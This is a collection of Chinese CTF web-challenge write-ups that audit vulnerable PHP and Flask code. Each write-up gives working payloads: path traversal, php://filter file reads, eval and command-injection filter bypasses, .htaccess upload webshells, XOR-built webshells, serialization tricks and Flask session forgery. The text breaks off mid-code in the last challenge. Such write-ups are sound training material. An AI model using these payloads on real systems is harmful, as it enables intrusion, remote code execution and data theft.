代码审计
代码审计
[HCTF 2018]WarmUp
考点:
1、简单的代码审计
查看源码
访问source.php获得源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
其中hint.php
代码审计:
if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空
&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file']) //满足checkFile函数的条件
) {
include $_REQUEST['file']; //包含$_REQUEST['file']文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
checkfile()函数
mb_substr
mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
参数 | 描述 |
---|---|
str | 必需。从该 string 中提取子字符串。 |
start | 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始负数 - 在从字符串结尾的指定位置开始0 - 在字符串中的第一个字符处开始 |
length | 可选。规定要返回的字符串长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回负数 - 从字符串末端返回 |
encoding | 可选。字符编码。如果省略,则使用内部字符编码。 |
mb_strpos
查找字符串在别一字符串中首次出现的位置
eg.
<?php
$str = 'http://www.feixiang.com';
echo mb_strpos($str,'xiang');
//输出14
class emmm
{
public static function checkFile(&$page) //将传入的参数赋值给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //声明一个白名单数组
if (! isset($page) || !is_string($page)) { //$page变量不存在或非字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //$page变量存在于$whitelist数组中
return true;
}
$_page = mb_substr( //截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
所以,我们可以将?进行两次url编码,在服务器端提取参数时解码一次,checkFile函数中再解码一次,仍会得到?,即可通过checkfile函数检查
payload
http://xxxx/source.php?file=source.php%253f../../../../../ffffllllaaaagggg
[BJDCTF2020]Mark loves cat
考点:
1、.git泄露
2、变量覆盖
启动题目
dirsearch扫描目录,发现.git泄露,利用GitHack下载下来,得到两个文件flag.php和index.php
flag.php:
<?php
$flag = file_get_contents('/flag');
?>
index.php:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
两个foreach循环实现对我们提交的参数进行变量覆盖
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
利用第二个if语句,进行变量覆盖,使得$yds=$flag即可输出$flag
在第二个foreach
语句中,首先是$x
=yds,$y
=flag,经过$$x
= $$y
也就变成了$yds=$flag
所以使用get传参使得yds=flag即可
payload
http://10f7c585-bbeb-4d37-bcf0-573c331842a2.node4.buuoj.cn:81/?yds=flag
之后再网页源码处即可获得flag
[HCTF 2018]admin
考点:
1、
启动题目,随便注册一个账号登陆进去,登陆成功后,查看源码
意思是要以admin的身份登陆才行吗,退回到注册界面,注册admin账户
admin账户已经存在
当我们尝试登陆时
方法一:
因为admin账户是正确的,而登录也没有验证码要求,所以我们可以使用字典将password爆破出来
密码为123,登陆进去之后即可获得flag
方法二:Flask session伪造
在change页面里发现提示
原理:
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。
可参考文章
套用网上解密脚本
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
解出
{'_fresh': True, '_id':b'6a91996d853b42c99629872c80464112e8e34b543018fe86067d435c184f1
8a62bef4554b42d24eebc61721b49d11ea18d9ed41d0989360a893824ca874ef1a8', 'csrf_token': b'feb0d89361f5c5a0d846e4f6f5702e505ab69ed8', 'name': 'admim', 'user_id': '13'}
还需知道secret_key,一般是在config.py里,找到
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
用flask-unsign加密覆盖原来的session就可以拿到flag了
[ZJCTF 2019]NiZhuanSiWei
直接给源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一层
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
需要存在$text且需要传入一个text文件,内容为welcome to the zjctf
可利用php://input进行绕过
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
?text=php://input
Post data=welcome to the zjctf
也可以利用data://text/plain协议绕过
?text=data://text/plain,welcome to the zjctf
第二层
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
过滤了flag字段,包含了一个useless.php,可利用php://filter协议来读取
file=php://filter/read=convert.base64-encode/resource=useless.php
结合上面第一层过滤
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串base64加密后的东西
解码后
第三层
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
进行简单的序列化,借助
$password = unserialize($password);
echo $password;
即可获得flag
<?php
class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
最终payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在源码里即可获得flag
[MRCTF2020]Ez_bypass
代码审计
<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
MD5强碰撞
if (md5($id) === md5($gg) && $id !== $gg)
md5()函数无法处理数组,如果传入是数组,那么返回的就是false
所以我们可以令$id和$gg都为数组
?id[]=1&gg[]=2
接着一个弱类型比较就完了
if (!is_numeric($passwd))
{
if($passwd==1234567)
payload
Post data:passwd=1234567a
[RoarCTF 2019]Easy Calc
考点:
1、利用php字符串解析特性绕过WAF
2、利用ASCII值绕过WAF
查看源码
发现做了WAF且同时发现一个calc.php,访问calc.php
得到如下源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
发现num是只能输入数字,而不能输入字母的
利用PHP字符串解析特性绕过WAF
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)
所以我们可以在num前加个空格:这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,同时还上传了非法字符。
所以只需要在?
后面再加一个空格即可完美绕过waf,再利用scandir读文件,但是这里由于这里过滤了"/",所以使用ASCII值绕过
payload
查目录
http://node4.buuoj.cn:29609/calc.php?%20num=var_dump(scandir(chr(47)))
发现f1agg
http://node4.buuoj.cn:29609/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[DDCTF 2019]homebrew event loop
启动题目
最上面就是说现在有多少钻石,多少积分
点GO-to e-shop
,就可以使用一个积分买一个钻石
Reset是重置
给了源码
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'
def FLAG():
return '*********************' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException:
pass
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' '*4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
简单审计
第一段
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
如果session[‘num_items’] >= 5的话,就会调用trigger_event函数
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
这个函数是将要执行的函数和参数,依次放入并执行request的队列中就是,是往session里写日志,会记录下各个函数的调用
这里会将flag放入session['log']中,解密session就可以获得flag
看看num_items在哪里可以控制
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
用buy_handler(1)这样的形式购买,num_item就会+1,接着会把func:consume_point;num_items传入队列执行
执行的是consume_point_function(num_items),0但是只有3个point,买不了5个num_items怎么办呢
那我就要在num_items被减掉之前执行get_flag_handler()不就行了
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
如果session['points']小于我们想要购买的数量,他就会减掉,比如我们购买5个flag。但是。只有3个金币。它会先购买5个。然后判断钱是不是够。不够就再减去
再看
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
这里有一个可控eval函数,利用eval函数可以导致任意命令执行,所以如果让eval()去执行trigger_event(),并且在后面跟着buy和get_flag,那么buy_handler()和get_flag_handler()便先后进入队列,那么这时consume_point_function()就会在get_flag_handler()之后
payload
?action:trigger_event%23;action:buy;5%23action:get_flag;
抓包得到session
网上找的解密脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
接出来就是flag
[SUCTF 2019]EasyWeb
给了源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
简单审计
首先进行了长度限制和正则匹配限制,且过滤了取反,所以这里只能采取异或
参考p神一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
payload
?.=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag
继续审
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
会打印出路径,过滤了ph后缀,文件里不能有<?,而且必须是图片文件
只能通过传.htaccess文件
但是怎么让.htaccess文件被判断成图片呢?
尝试了下GIF89a,结果发现不行
方法一
定义长宽
#define width 1337
#define height 1337
方法二
在.htaccess前添加x00x00x8ax39x8ax39(必须要在十六进制编辑器中添加)
因为.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
但是还要注意<?被过滤了,因为这题的PHP版本是7.3.4,<script language="php"></script>
这种写法在PHP7以后就不支持了,所以这个耶用不了
新姿势
利用php伪协议绕过,利用auto_append_file,将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码
#define width 1337
#define height 1337
AddType application/x-httpd-php .shell
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_d41895248531041badacfc22febe3acg/123.shell
但这里还要注意,123.shell也需要是个图片,需要在前面加上GIF89a,但是这只有6个字符,需要再随便加上2个base64有的字符,这样解码的时候才能正确解码
GIF89a00PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8+
上传之后可利用蚁剑的插件直接提权执行命令打开flag
[TQLCTF] Simple PHP
注册登录后,抓包发现存在任意文件读取
读取index.php
index.php
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
简单审计
1.将传进来的密码MD5加密一下,同时在前面加上zsf
2.判断注册时是否传入punctuation,如果没有,就转入最后的那个else,然后跳转到指定的页面,如果传入了,那么就会经过一系列的判断,只有所有条件都满足,才能成功注册
3.通过注册后,会读取template.html并赋值给$content之后用传进来的东西用去替换掉,然后写到一个新的文件,文件名是$hash_user。
template.html
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
这里的__USER__和__PASS__都可以控制,即把__PASS__这里的代码,换shell即可getshell
看下之前的正则
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user'])
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website'])
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
密码会被hash加密,所以排除了,而User这里只能传入六个字符,太短了,排除了。
而website限制25个字符是可以写shell的,但是正则那里做了一些限制
最后punctuation会将字母数字全替换为空,但是可用异或或者取反绕过,但是这里’>’和‘?’会被替换,就没有php标签了
在看源码
__PUNC__的位置在__USER__后面,所以可以用多行注释将中间的代码注释掉,在__PUNC__的地方写注释结束符,再写shell,就自动闭合了,所以再user处我们传的内容就是123)/*
,__PUNC__处的内容*/;shell;/*
最后参照p神的https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html无数字字母RCE构造即可,根目录下拿到flag
user=123)/*&pass=123456&website=1&punctuation=*/;$_=('%01'^'`').('%13'^'`'). ('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`'). ('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*
Login
一个登录界面
给了提示
登陆后来到下一个页面
burp抓包发现一个show
在请求包里加一个头
获得源码
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
简单审计
主要是构造$login = unserialize(gzuncompress(base64_decode($requset['token'])));
只要满足if($login['user'] === 'ichunqiu')
就返回flag
POC
<?php
$a=array("user" => "ichunqiu");
$a=base64_encode(gzcompress(serialize($a)));
echo $a;
?>
结果为
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
cookie里添加一个token即可
WEB_ezeval
启动题目,给了源码
<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);
?>
简单审计
post参数cmd,且最后利用eval函数进行rce,过滤了很多关键字
htmlspecialchars() :把预定义的字符转换为 HTML 实体。
str_ireplace():不区分大小小的替换
简单的思路,绕过黑名单构造即可
法一
利用字符串拼接绕过
payload
cmd=(s.y.s.t.e.m)('cat /flag');
法二
利用进制编码绕过
payload
cmd=hex2bin('73797374656d')('cat /flag');
SCTF 2018_Simple PHP Web
一个登录框
额。。。不是注入,而是php伪协议读取
flag在根目录下
payload
?f=php://filter/convert.base64-encode/resource=/flag
解密获得flag
端午就该吃粽子
login.php
php伪协议读源码
login.php?zhongzi=php://filter/read=convert.base64-encode/resource=index.php
获得源码
<?php
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no no no!')
window.location.href='index.php';</script>");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no flag!')
window.location.href='index.php';</script>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo $a;
}
?>
简单审计
传入url参数
过滤了cat,空格,flag等关键字
用ca\t代替cat,$IFS代替空格,/????代替flag
payload
index.php?url=baidu.com|c\a\t${IFS}/????
baby php(*)
给了源码
<?php
highlight_file('source.txt');
echo "<br><br>";
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($msg_giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($msg_getout);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
很简单的一个变量覆盖
payload
?123=flag&flag=123
web2
启动题目,给了源码
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
简单审计
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str); //将字符串进行反转
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){ //循环递增字符串的长度
$_c=substr($_o,$_0,1); //从$_0位置开始,返回1个字符
$__=ord($_c)+1; //返回字符串首字母的ASCII值
$_c=chr($__);
$_=$_.$_c; //拼接两个变量
}
return str_rot13(strrev(base64_encode($_))); //返回ROT13编码(反转字符串(base64加密($_))) 的结果
}
highlight_file(__FILE__);
据此写出逆序的代码
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=base64_decode(strrev(str_rot13($miwen)));
$m=$miwen;
for($i=0;$i<strlen($m);$i++){
$_c=substr($m,$i,1);
$__=ord($_c)-1;
$__=chr($__);
$_=$_.$__;
}
echo strrev($_);
运行脚本,解出flag
ics-07
打开题目后,只有这个能点开
这个view-source是个超链接,点开获得源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
